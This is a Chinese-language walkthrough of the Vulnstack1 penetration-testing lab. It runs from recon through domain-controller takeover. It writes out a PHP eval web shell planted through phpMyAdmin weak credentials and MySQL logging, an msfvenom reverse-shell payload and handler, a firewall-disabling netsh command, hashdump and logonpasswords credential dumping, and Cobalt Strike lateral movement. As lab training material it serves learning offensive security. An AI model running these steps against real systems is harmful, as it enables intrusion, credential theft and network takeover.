vulnstack1靶场记录
内网渗透:Vulnstack1靶场记录
环境配置
IP配置:
主机 | IP地址 |
---|---|
Win7 web服务器 | 内网:192.168.52.143 外网:192.168.208.160 |
win2003 域成员主机 | 192.168.52.141 |
win2008 域控主机 | 192.168.52.138 |
Kali 攻击机 | 192.168.208.148 |
这是vulnstack1的官方网络拓扑:
为了最逼真化地模拟内网环境,需要设置隔离域,这不得提起VMWarePro的Host-Only的模式了。
Host-Only模式:
设定有Vmnet1虚拟交换机和虚拟DHCP服务器来为隔离域内的主机服务,如下图
从网络拓扑关系上可以看出,虚拟机不能直接连接到外网,只能通过虚拟机网卡与主机通信,其实可以通过XP或win7的网络共享功能使虚拟机与外网连接。
网段和DHCP服务配置
对于VMnet1这张网卡的配置
内网主机配置
- Win2K3 Metasploitable和Windows Server 2008 R2 x64的网卡配置
-
Win7的配置
作为外网服务器,需要配置两块网卡
- Kali攻击机的配置
与Win7同一网段下,能访问外网服务即可
网络测试
首先在win7上启动phpstudy,开放web服务
- 在Kali攻击机上可以访问到Win7上开放的web服务
- 在域内的两台主机也可以访问到win7上的相关服务
信息收集:外网打点
- 扫描和Kali机同网段下的主机
nmap 192.168.208.1/24
发现有存活主机:192.168.208.160
并且其上开放了80端口web服务,135端口的nsrpc服务,3306端口的mysql服务
- 目录扫描
这里使用两种工具进行扫描:dirsearch和dirb
- dirsearch扫描
dirsearch -u 192.168.208.160
- dirb扫描
dirb http://192.168.208.160
外网机getshell
发现靶机使用了phpMyAdmin存活,弱口令root/root进入
1. select写马
检索mysql服务器安装的基本目录
select @@basedir;
查看是否有写入权限
show VARIABLES LIKE "secure_file_priv";
secure_file_priv
的值代表了不同的权限
secure_file_priv的不同取值 | 权限说明 |
---|---|
null | 限制sql进行文件的写入和写出 |
/tmp | 写入和写出只允许发生在/tmp目录下 |
无具体值 | 不限制sql的导入和导出 |
如果secure_file_priv允许写马,则根据mysql服务器回显结果进行写马
select "<?php @eval($_POST[1]);?>" info outfile +URL
寄,本靶场secure_file_priv为null,写不了,寄
2.利用日志文件getshell
general_log
是 MySQL 中的一个配置选项,用于控制是否启用通用查询日志。通用查询日志记录了所有进入 MySQL 服务器的查询,包括 SELECT、INSERT、UPDATE、DELETE 等操作,以及与数据库服务器的连接和断开连接等事件。
general_log
的值可以有以下几种情况:
- OFF:表示通用查询日志被禁用。在这种情况下,MySQL 不会记录通用查询日志,这通常是默认设置,以减少日志文件的大小和系统资源的使用。
- ON:表示通用查询日志被启用。在这种情况下,MySQL 会记录所有查询和连接事件到通用查询日志文件中。这给写马提供了机会
- 1:与 "ON" 具有相同的效果,表示通用查询日志被启用。
- 0:与 "OFF" 具有相同的效果,表示通用查询日志被禁用。
查看值
show VARIABLES LIKE 'general_log';
修改值
SET GLOBAL general_log = "ON";
SET GLOBAL general_log = "OFF";
general_log_file
这个字段的值用来表示日志写入的位置
show VARIABLES LIKE "general_log_file";
当然也可以进行general_log_file的修改,所以可以指定写入一个php文件中,达到写马的目的
SET GLOBAL general_log_file = ".."
没加gloabl的后果:
信息收集:内网渗透
种马后,蚁剑连接。拿下了外网机后,开始寻找与内网机子的联系。
外网机本机的信息收集
1. 查看权限
whoami
2. 查看网卡信息
ipconfig /all
发现存在域,且该主机上有两张网卡,一张供外网,一张供内网
内网ip段为
3. 查看当前登录域以及登录用户信息
net config WorkStation
是域!
4. 查看域成员
net view /domain:god
寄,回显不出来
后渗透
msf提权
1.生成payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.208.148 LPORT=6666 -f exe -o hack.exe
2. msf监听并提权
打开msf,启动监听,蹲一波反弹shell
# 使用攻击模块
use exploit/multi/handler
# 选择payload类型r
set payload windows/meterpreter/reverse_tcp
# 选择kali地址
set lhost 192.168.208.148
# 选择监听端口
set lport 6666
# 运行
run
在蚁剑上执行hack.exe
msf连接成功后进行提权,提权命令为msf自带
# 查看当前的权限
getuid
# 一键式提权
getsystem
CS提权
CS全称为Cobalt Strike,其拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket代理,office攻击,文件捆绑,钓鱼等功能
可用于红队多人协作渗透。
关于CS渗透工具的使用,可以参考水滴实验室的内网渗透一书,讲的挺详细的
在CS目录里有Client和Server目录
1. 启动CS服务器
2. 开启CS客户端
3. 提权
设置监听:
在attack模块下生成exe文件后通过蚁剑上传,然后直接终端运行
CS上线,直接Elevate提权
然后先关闭外网机的防火墙
# 查看防火墙的状态
shell netsh firewall show state
# 关闭防火墙
shell netsh advfirewall set allprofiles state off
横向移动
CS读取票据
还是使用CS工具,进行一波内网扫描
net view
# 读取内存密码
hashdump
# 读取注册表密码(本质上是封装mimikatz)
logonpasswords
可以在view窗口的Credentials查看票据整合
拿下域控
通过扫描内网可以看到主域控(PDC)的ip
- 建立smb监听
- 利用CS的横向移动模块
选择GOD.ORG,监听选择smb,Session选择刚提权的外网机
以此类推,拿下域环境内的另一台域成员服务器(选择GOD,监听选择smb,Session选择刚提权的域控)
- 撒花完结,打穿了
总结
第一次做渗透靶场,感觉还挺好玩的
- 渗透测试的总体过程
- 外网打点(寻找可能的攻击面)
- 与DMZ的斗争,免杀
- 提权,内网横向移动
- 一台一台拿下直至打穿
- 内网渗透的工具
- 扫描类(dirsearch,nmap,dirb)
- 目录扫描
- 网段扫描
- 端口扫描
- 主机扫描
- 提权
- msf
- CS
- 扫描类(dirsearch,nmap,dirb)
- 网络的设计思路以及操作系统的设计思路
- Windows域